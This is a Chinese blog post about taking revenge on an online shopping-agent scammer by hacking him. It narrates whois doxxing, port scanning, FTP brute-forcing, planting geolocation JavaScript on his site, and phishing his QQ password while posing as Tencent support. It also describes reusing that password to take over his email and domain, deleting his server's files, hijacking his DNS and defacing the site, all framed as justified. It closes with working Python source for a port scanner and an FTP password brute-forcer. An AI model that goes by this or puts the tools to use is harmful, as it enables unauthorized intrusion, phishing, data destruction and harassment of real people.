百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

一个精壮的代购骗子被我用Python彻底征服了

toyiye 2024-07-02 02:56 15 浏览 0 评论

0×01 苦逼的开头

当我朋友圈被代购侵犯时,觉得什么东西都好便宜的,有代购包的,潮牌的,化妆品的,一堆一堆的…当时我的心情是这样的

以前一直也相安无事,直到前天,找了个代购,想买买supreme的tee,作为一个冉冉升起的新星黑客,我竟然被骗了。。很扎心,被骗900多显然也够不成立案标准,但也够我买好几箱辣条了……气得我发下毒誓要顺着网线去打他……

我朋友圈的吐槽

事情不能就这么完了!我可是i春秋论坛的首席帅哥哥,反击行动开始!

过程真心比我想象的还要精彩,此所谓多行不义必自毙,哈哈哈。

由于最近我在写Python工具集,所以,文中所用的工具都自己开发吧……

0×02 前期的破坏

那个代购之前跟我吹牛逼说,他有专门的网站….嘿嘿,这就好办了,我打算从这入手吧,于是,我搞了个WX小号,去加了那个代购的wx….先套出他的网站地址…..

然后就套到了他的网站地址…..尼玛,貌似没有一点难度….这怎么凸显我的社工能力,算了,看看他的网站吧…

接着来一波信息采集工作吧…

查了他的whois,并没有弄隐私保护,然后爆出了他的名字and手机号and邮箱,跟我被套路的时候,转账的手机号和名字一样唉….目测就是这货了

接下来,端口扫描,21端口开着…(我会在文章结尾放上工具脚本的….)

C段什么的就不做了,没什么大意义,目录扫描也不用了目测…这辣鸡意识..没谁了

不放过21端口的开启,来一波fuzz,万一弱口令呢….

FTP爆破工具走一波

尴尬了,我靠,直接就是弱口令,我的妈耶…..

差不多,整个站的权限已经在手上了….

然后传个黑页吗??搞得感觉像个小学生,但是好气哦,后面搞得他更多的信息,就整个吧,啊哈哈…

0×03 进击的巨人

他说他是日本代购,那咱们就定位一下他,到底在不在国外吧,呵呵哒

参考的方法是: https://bbs.ichunqiu.com/thread-33742-1-1.html

既然咱们已经拿到了他站的权限,那么,咱们可以在主页插入一段JS,获取他的ip

Index.php:

然后走一波套路….

洗洗先睡觉了,第二天继续….

睡一觉起来,上钩了..这二货还跟我解释….我有句mmp不知道当讲不当讲…

获得了他的经纬度

查询一下: http://www.gpsspg.com/maps.htm

好好的一个日本代购??跑到国内了??我竟然被他套路了,我心态崩了

以为到这就结束了??

没有,远远不够……

既然咱们有他的手机号,那咱们可以尝试搜一波他的QQ

由于他的手机号绑定的就是他本人wx,就不继续测试wx了..

然后加他一波…万一成功了呢….

然后经过了n个小时的漫长等待,加上了….二话不说,直接进空间….

然后找到了他的自拍,我收回我之前要顺着网线去打他这句话….

然后继续套路他一波??假装腾讯客服送他各种钻,万一他中招了….

我胡乱说的一些老套路,我自己都难说服自己的。。但是他竟然信了…..

这就获取到了他的QQ密码,所以一般人的安全意识还是很差的!!请不要骗黑客好吗!!

于是我尝试登了一下他的邮箱…

Qq邮箱凉凉了,有独立密码,我也猜不到..算了…

试试他之前的那个网易邮箱吧….

登上去,然而,什么都没有,目测是都删了…..

继续尝试下,用这个密码,咱们试下他的邮箱用户名是不是他的域名注册的那个id

然后我竟然直接登上去了…这是rp好吗??

然后我又可以修改他的dns了…然后实现域名劫持什么的….反正我也有他FTP的权限,我先把它主机的东西全删了去….mmp…

然后来个域名劫持….修改他的解析,解析到我创的虚拟主机上….

然后差不多就结束了

0×04 华丽的谢幕

挂上黑页..强行装一波….

拿到了这么多信息,可以找他摊牌了,mmp

我打算放过他了,毕竟他有了这次经历,估计也不敢再骗人了

毕竟我的心愿是世界和平…

0×05 总结

这次可以算是运气好吧…..希望各位不要有当骗子的冲动,恶人是有恶报的…,你还要知道,人外有人,天外有天….附上文中所用的工具吧…

这里我放出的是单线程版的,期待我后面的系列文章吧,我会出多线程版的,啊哈哈哈

portscan.py

import socket

def Get_ip(domain):  

    try:  

        return socket.gethostbyname(domain)  

    except socket.error,e:  

        print ‘%s: %s’%(domain,e)  

        return 0 

 

def PortScan(ip):

    result_list=list()

    port_list=range(1,65535)

    for port in port_list:

        try:

            s=socket.socket() 

            s.settimeout(0.1)

            s.connect((ip,port))

            openstr= ” PORT:”+str(port) +” OPEN “

            print openstr

            result_list.append(port)

            s.close()

        except:

            pass

    print result_list

def main():

    domain = raw_input(“PLEASE INPUT YOUR TARGET:”)

    ip = Get_ip(domain)

    print ‘IP:’+ip

    PortScan(ip)

if __name__==’__main__’:  

    main()

BruteFTP.py

import ftplib
from ftplib import FTP

def Login(host,username,password):

    ftp=FTP()

    try:

        ftp.connect(host,21,1)

        ftp.login(username,password)

        print ‘Crack successly!’

        print ‘username:’ + username

        print ‘Password:’ + password

        return True

    except:

        pass

if __name__ == ‘__main__’:

        host=open(‘host.txt’)

        for line in host:

                host=line.strip(‘\n’)

                print ‘Target:’ + host

                user=open(‘user.txt’)

                for line in user:

                        user=line.strip(‘\n’)

                        pwd=open(‘pwd.txt’,'r’)

                        for line in pwd:

                                pwd=line.strip(‘\n’)

                                Login(host,user,pwd)

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码